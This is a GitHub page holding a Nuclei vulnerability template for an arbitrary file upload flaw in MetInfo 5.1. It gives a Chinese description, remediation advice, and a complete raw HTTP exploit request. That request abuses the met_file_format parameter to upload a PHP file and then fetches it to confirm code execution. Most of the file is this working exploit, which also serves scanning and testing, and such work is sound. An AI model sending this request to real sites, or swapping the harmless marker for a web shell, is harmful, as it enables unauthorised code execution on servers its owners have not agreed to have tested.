forked from adysec/nuclei_poc
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathMetinfo-V5_1_FileUpload-Getshell.yaml
executable file
·55 lines (49 loc) · 2.97 KB
/
Metinfo-V5_1_FileUpload-Getshell.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
id: Metinfo-V5_1_FileUpload-Getshell
info:
name: MetInfo5.1任意文件上传getshell
author:
- l0ne1y
description: |-
MetInfoV5.1任意文件上传getshell
MetInfo是一款适合企业建站的开源免费CMS建站系统,MetInfo企业网站管理系统主要用于搭建企业网站,采用PHP+Mysql架构。
MetInfo V5.1版本中存在任意文件上传漏洞,攻击者可利用此漏洞来获取敏感信息。
reference:
- http://wooyun.org/bugs/wooyun-2015-094886
severity: critical
remediation: |-
官方修复方案:<br />1、升级系统至无漏洞版本,或于官网下载安全补丁。
https://www.mituo.cn/
临时修复方案:<br />文件上传:<br />1、服务器端将文件上传目录直接设置为不可执行。<br />2、文件类型检查:建议使用白名单方式(比黑名单更可靠),并结合MIME Type、后缀检查等方式(文件类型做白名单限制)。此外对于图片的处理可以使用压缩函数或resize函数,处理图片的同时破坏其包含的HTML代码。<br />3、使用随机数改写文件名和文件路径,使得用户不能轻易访问自己上传的文件。<br />4、单独设置文件服务器的域名。<br />5、验证文件内容,使用正则匹配恶意代码(过滤恶意代码各种绕过方式,如大小写、BASE64编码)限制上传。<br />6、修复服务器可能存在的解析漏洞。<br />7、严格限制可以修改服务器配置的文件上传如:.htaccess。<br />8、隐藏上传文件路径。<br />9、升级Web Server。<br />10、及时修复Web上传代码。<br />11、不能有本地文件包含漏洞。<br />12、注意0x00截断攻击(PHP更新到最新版本)。
requests:
- raw:
- |
POST /feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo HTTP/1.1
Host: {{Host}}
Content-Length: 423
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: null
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE1toBNeESf6p0uXQ
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=hfqa37uap92gdaoc2nsco6g0n1
------WebKitFormBoundaryE1toBNeESf6p0uXQ
Content-Disposition: form-data; name="fd_para[1][para]"
filea
------WebKitFormBoundaryE1toBNeESf6p0uXQ
Content-Disposition: form-data; name="fd_para[1][type]"
5
------WebKitFormBoundaryE1toBNeESf6p0uXQ
Content-Disposition: form-data; name="filea"; filename="test.php"
Content-Type: application/x-php
<?php echo md5(1); ?>
------WebKitFormBoundaryE1toBNeESf6p0uXQ--
- matchers:
- type: dsl
dsl:
- status_code==200 && contains(body,"c4ca4238a0b923820dcc509a6f75849b")
path:
- '{{BaseURL}}/upload/file/{{unix_time()}}.php'
method: GET